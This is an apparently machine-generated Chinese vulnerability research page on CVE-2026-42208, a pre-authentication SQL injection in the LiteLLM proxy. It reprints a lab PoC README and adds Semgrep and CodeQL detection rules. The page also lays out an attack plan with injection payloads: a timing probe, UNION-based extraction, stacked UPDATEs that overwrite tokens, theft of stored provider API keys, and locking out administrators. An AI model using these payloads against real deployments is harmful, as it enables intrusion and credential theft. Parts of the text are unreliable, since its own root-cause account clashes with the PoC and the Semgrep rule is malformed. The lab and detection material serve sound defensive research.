🔥 CVE-2026-42208 深度独立研究:源码审计 · 二次发现 · 利用方案

🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8

CVE-2026-42208 深度独立研究:源码审计 · 二次发现 · 利用方案

📊 3 来源🔍 源码审计🧪 PoC
NVD-LatestCISA-KEVPoC-in-GitHub

🔍 源码独立审计

https://github.com/BerriAI/litellm 源码进行独立审计(置信度 68%)。

🧬 根因独立理解

漏洞实际位于代理层 API Key 校验链路的错误处理分支,而不是 llm_http_handler.py 的 HTTP 转发逻辑。认证函数 user_api_key_auth(litellm/proxy/auth/key_auth.py)从 Authorization 头提取 api_key 后,先用 Prisma 模型查询 LiteLLM_VerificationToken;当正常查询没有结果或抛错时,代码为了记录或区分失败原因,调用内部辅助函数 _get_valid_token() 执行原始 SQL。补丁前该函数使用 f-string 把 api_key 直接拼入 SQL 文本:query = f"SELECT * FROM \"LiteLLM_VerificationToken\" WHERE token = '{api_key}'" 并传给 prisma.db.query_raw(query)。api_key 完全由请求方控制,没有经过参数绑定或转义,数据与 SQL 文本的边界被打破。1.83.7 的修复将 api_key 改为 $1 占位符,并把值作为独立参数传入,即从字符串拼接改为参数化查询。核心缺陷是错误处理路径使用动态 SQL,且未对认证输入做任何安全处理,导致未认证攻击者可以到达该查询并控制 SQL 语法。

🛤️ 漏洞触发链路

攻击者向任意受保护 LLM 路由如 POST /chat/completions 发送 Authorization: Bearer ' OR '1'='1。FastAPI 将该依赖 user_api_key_auth 作为路由依赖执行;普通 token 校验失败。错误处理分支把攻击者提供的 key 带入 _get_valid_token 的原始 SQL 查询。SQL 变成 WHERE token = '' OR '1'='1',若查询结果被当作有效 token,攻击者绕过认证;若结果被用于错误信息,则可结合 UNION SELECT 读取 LiteLLM_VerificationToken 或 LiteLLM_ModelTable 中的管理密钥。可进一步使用堆叠查询如 ';UPDATE LiteLLM_VerificationToken SET token='owned' WHERE id=...;-- 修改数据库,或提取已保存的 provider API key 进行横向访问。整个过程无需任何有效凭证。

🔁 二次发现(同类漏洞/扩展攻击面)

  • litellm/proxy/auth/key_auth.py 中 _get_valid_token 的其他调用路径: 同一辅助函数可能被多个认证入口调用,任何路由都可触发同一注入;修复后需确认所有调用点都改用参数化查询。
  • litellm/proxy/db/prisma_client.py 中 query_raw/execute_raw 封装: 若底层封装仍接受拼接好的 SQL 字符串,管理端点中用户可控字段同样可能注入,需统一使用 bind params 并静态扫描 f-string 拼 SQL。
  • litellm/proxy/management_endpoints/key_management_endpoints.py: key_alias、metadata、team_id 等字段若在 count/select 查询中直接拼接,会是同簇 SQL 注入,建议重点审计所有 query_raw(f"...") 调用。

🩹 修复完整性分析

当前修复把关键值改为 $1 参数,方向正确,可阻止单引号、注释符、UNION 等注入。但完整性取决于是否覆盖所有错误路径:如果 _get_valid_token 被其他文件调用,且有人传入已拼接的 SQL 字符串;或 Prisma 驱动对参数处理不当、占位符被二次格式化,仍可能被绕过。还需检查同模块中其他 query_raw/execute_raw 调用是否仍存在 f-string 拼接;仅修一条查询不足以防止同类绕过。

⚔️ 利用方案设计

利用分三阶段。第一阶段探测:发送 Authorization: Bearer ' AND SLEEP(5)-- 到 /chat/completions,若响应明显延迟则确认注入点在 WHERE token 中。第二阶段数据提取:使用 UNION SELECT 将结果映射到接口可返回的字段;构造 ' UNION SELECT 'attacker', expires,... FROM LiteLLM_VerificationToken--,通过错误提示或 HTTP 状态差异逐字符盲注。若数据库允许堆叠语句,直接执行 '; UPDATE LiteLLM_VerificationToken SET token='<attacker_control>' WHERE id='目标'; -- 来插入或替换 token。第三阶段横向移动:读取 LiteLLM_ModelTable 和 LiteLLM_Config 中保存的 provider api_key/secret,或利用伪造 token 通过认证后调用 /key/generate 获得有效虚拟 key,再访问底层 LLM 服务;写权限还可删除/禁用管理员 token 造成持久控制。整体 payload 核心是在 Authorization 的 Bearer 值中注入单引号、UNION/堆叠语句和注释符,将认证查询变成任意 SQL 执行。

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源HAERIN-L/poc_cve-2026-42208针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2026-42208 — LiteLLM Pre-Authentication SQL Injection

A lab environment for reproducing and detecting **CVE-2026-42208**,a critical pre-authentication SQL injection vulnerability in LiteLLM where unsanitized Bearer tokens reach a raw PostgreSQL query.

---

## Vulnerability Overview

|Field |Details ||-------|---------||CVE ID |CVE-2026-42208 ||GHSA |
[GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc) ||CVSS |9.3 (Critical) — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` ||Affected versions |>= 1.81.16,<1.83.7 ||Patched |v1.83.7 (parameterized query) ||CWE |CWE-89 (SQL Injection) |### Root Cause

```
Vulnerable (v1.83.6):
  POST /v1/chat/completions
  Authorization: Bearer <payload>
← payload does NOT start with "sk-"
    → api_key.startswith("sk-") assertion fails  (utils.py:1189)
    → caught by except Exception                  (utils.py:1560)
    → _handle_authentication_error(api_key=RAW_PAYLOAD)
    → _enrich_failure_metadata_with_key_info()
    → get_data(token=RAW_PAYLOAD,
table_name="combined_view")
    → SQL: WHERE v.token = '{payload}'  ← injection

Patched (v1.83.7):
  Same request path,but:
    → get_data(token=hashed_token,...)
    → SQL: WHERE v.token = $1          ← parameterized,no injection
```

### Attack Prerequisites

|# |Condition |Details ||---|-----------|---------||1 |Affected LiteLLM version |>= 1.81.16,<1.83.7 ||2 |PostgreSQL backend |
SQLite deployments are unaffected ||3 |No authentication required |Pre-auth;zero credentials needed ||4 |≥1 row in VerificationToken |pg_sleep only fires per row;empty table = no delay |
---

## Lab Architecture

```
Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln    (v1.83.6-nightly  ⚠ VULNERABLE)
│                      Docker: litellm-db-vuln  (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable   ✓ PATCHED)
                       Docker: litellm-db-patched (PostgreSQL 15)
```

---

## Prerequisites

|Tool |Install ||------|---------||
[Docker Desktop](https://www.docker.com/) |docker.com ||[nuclei](https://github.com/projectdiscovery/nuclei) |`brew install nuclei` ||curl,python3 |pre-installed on macOS |
---

## How to Run

### Step 1 — Set up lab environment

```bash
bash scripts/01-setup.sh
```

When done:
```
══════════════════════════════════════════════════════
 Lab ready!
 Vulnerable (v1.83.6-nightly) : http://localhost:8010
 Patched    (v1.83.7-stable)  : http://localhost:8011
 Master Key : sk-lab-master-key
 Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════
```

### Step 2 — Trigger the CVE

```bash
bash scripts/02-exploit.sh
```

**Expected output — vulnerable (v1.83.6-nightly):**
```
── Vulnerable (v1.83.6-nightly,
port 8010) ──
  Baseline    : 0.031s
  Injection   : 6.062s  (HTTP 401)
  Delta       : +6.031s
  ⚠  RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)
```

**Expected output — patched (v1.83.7-stable):**
```
── Patched    (v1.83.7-stable,
port 8011) ──
  Baseline    : 0.028s
  Injection   : 0.029s  (HTTP 401)
  Delta       : +0.001s
  ✓  RESULT: No significant delay — injection not executed (PATCHED)
```

### Step 3 — Nuclei detection

```bash
# Vulnerable instance → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010

# Patched instance → should produce no findings
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011
```

**Vulnerable (v1.83.6-nightly):**

![Nuclei detection — vulnerable](nuclei-vuln.png)

**Patched (v1.83.7-stable):**

![Nuclei detection — patched](nuclei-patched.png)

### Step 4 — Teardown

```bash
bash scripts/99-teardown.sh
```

---

## Directory Structure

```
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md       # Code-level analysis (English)
├── LAB_SETUP_GUIDE.md              # Lab setup guide (English)
├── NUCLEI_TEMPLATE_GUIDE.md        # Nuclei template design (English)
├── docker-compose.yaml
│
├── REPORT/                         # Korean reports
│   ├── Vulnerability_Analysis_KR.md
│   ├── LAB_REPORT_KR.md
│   └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│   └── CVE-2026-42208.yaml         # Nuclei detection template
│
└── scripts/
    ├── 01-setup.sh                 # Start containers,
create seed key
    ├── 02-exploit.sh               # PoC: timing-based injection proof
    └── 99-teardown.sh              # Stop and remove all lab resources
```

---

## Nuclei Template Detection Logic

```
Step 1  GET /health/liveliness
        → match "I am alive" in body
        → confirms target is a LiteLLM instance

Step 2  POST /v1/chat/completions
        Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --

        Matchers (AND — all must pass):
          status == 401           eliminates 504/502 false positives
          body contains           "auth_error" OR "Authentication Error"
                                  confirms LiteLLM auth path,
not a proxy
          duration >= 5           pg_sleep(6) fired → injection confirmed
```

False positive prevention:
- `status == 401` eliminates responses from upstream timeouts (504) and gateway errors (502)
- Body keyword match confirms the 401 came from LiteLLM's auth handling,
not a WAF or proxy
- `duration >= 5` is sufficiently high to exclude network jitter (baseline is ≤0.5s)

---

## References

- [GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc)
- [NVD — CVE-2026-42208](https://nvd.nist.gov/vuln/detail/CVE-2026-42208)
- [Sysdig Analysis](https://www.sysdig.com/blog/cve-2026-42208-critical-sql-injection-litellm/)

---

>
**Warning:** All credentials in this lab are fake test data for security research purposes only. Never use in production. Always obtain explicit authorization before scanning systems you do not own.

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。

🛡️ Semgrep 审计规则: CVE-2026-42208.yaml

📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-42208.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-42208.yaml

rules:
  - id: CVE-2026-42208-sqli-python
    languages:
      - python
    severity: ERROR
    message: "Potential SQL injection in LiteLLM proxy API key check via string formatting instead of parameterized query"
    patterns:
      - pattern-either:
          - pattern: |f"SELECT * FROM $TABLE WHERE key = $VALUE"
    pattern-not: |f"SELECT * FROM $TABLE WHERE key = ?"
    fix: |
cursor.execute("SELECT * FROM proxy_keys WHERE key = ?",
(key_value,))
    metadata:
      cwe: "CWE-89"
      owasp: "A1: Injection"
      technology: litellm
      references:
        - "https://nvd.nist.gov/vuln/detail/CVE-2026-42208"
  - id: CVE-2026-42208-sqli-python-format
    languages:
      - python
    severity: ERROR
    message: "Potential SQL injection via string formatting in database query"
    patterns:
      - pattern-either:
          - pattern: $QUERY.format(key=$VALUE)
      - pattern-not: $QUERY.format(key="?")
    fix: |
cursor.execute("SELECT * FROM proxy_keys WHERE key = ?",(key_value,))
    metadata:
      cwe: "CWE-89"
      owasp: "A1: Injection"
      technology: litellm
      references:
        - "https://nvd.nist.gov/vuln/detail/CVE-2026-42208"

🛡️ CodeQL 审计规则: CVE-2026-42208.ql

📋 代码元数据语言ql来源rules/codeql/CVE-2026-42208.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run

/**
 * @kind path-problem
 * @id python/sql-injection/cve-2026-42208
 * @name SQL injection in LiteLLM proxy database query
 * @description User-controlled Authorization header value is concatenated into a database query instead of being passed as a parameter,
allowing SQL injection.
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-089
 */
import python
import semmle.python.dataflow.new.DataFlow
import semmle.python.dataflow.new.TaintTracking
import semmle.python.ApiGraphs

class SqlInjectionConfig extends TaintTracking::Configuration {SqlInjectionConfig() {this = "SqlInjectionConfig" }
override predicate isSource(DataFlow::Node source) {exists(DataFlow::Node n |n.asExpr() = any(Subscript s |s.getObject().(Name).getId() = "headers").getItem(_) or
      source.asExpr() = any(Call c |c.getFunc().(Attribute).getAttrName() = "get" and
        c.getFunc().(Attribute).getObject().(Name).getId() = "headers"
      )
    )
  }override predicate isSink(DataFlow::Node sink) {
exists(DataFlow::Node n |n.asExpr() = any(Call c |c.getFunc().(Attribute).getAttrName() = "execute" or
        c.getFunc().(Attribute).getAttrName() = "executemany" or
        c.getFunc().(Attribute).getAttrName() = "executescript"
      ) and
      sink = n
    )
  }override predicate isAdditionalTaintStep(DataFlow::Node node1,DataFlow::Node node2) {
any(FString fstr).getAFormattedValue() = node1.asExpr() and
    node2.asExpr() = fstr
  }}from DataFlow::PathNode source,DataFlow::PathNode sink,SqlInjectionConfig config
where config.hasFlowPath(source,sink)
select sink.getNode(),source,sink,"User-controlled input from Authorization header reaches database execute() call,allowing SQL injection."

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-15 03:03

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)